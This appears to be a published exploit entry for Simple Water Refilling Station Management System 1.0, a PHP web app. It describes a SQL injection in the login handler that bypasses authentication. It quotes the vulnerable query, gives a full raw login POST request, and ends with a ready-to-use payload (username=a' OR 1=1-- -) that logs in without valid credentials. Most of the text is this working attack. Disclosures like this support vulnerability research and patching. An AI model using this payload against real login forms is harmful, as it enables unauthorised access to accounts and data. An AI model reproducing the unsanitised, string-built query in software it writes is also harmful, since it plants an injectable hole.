Simple Water Refilling Station Management System 1.0 – Authentication Bypass
# Exploit Title: Simple Water Refilling Station Management System 1.0 - Authentication Bypass # Exploit Author: Matt Sorrell # Date: 2021-08-14 # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/14906/simple-water-refilling-station-management-system-php-free-source-code.html # Version: 1.0 # Tested On: Windows Server 2019 and XAMPP 7.4.22 # The Simple Water Refilling Station Management System # is vulnerable to a SQL Injection because it fails to sufficiently sanitize # user-supplied data before using it in a SQL query. Successful exploitation # of this issue could allow an attacker to bypass the application's # authentication controls and possibly access other sensitive data. # Vulnerable Code: Line 21 in water_refilling/classes/Login.php qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') "); # Vulnerable Request POST /water_refilling/classes/Login.php?f=login HTTP/1.1 Host: localhost Connection: keep-alive Content-Length: 35 sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92" Accept: */* X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/water_refilling/admin/login.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=64v67e3dctju48lon9d8gepct7 username=a&password=a # Vulnerable Payload # Parameter: username (POST) username=a'+OR+1%3D1--+-&password=a |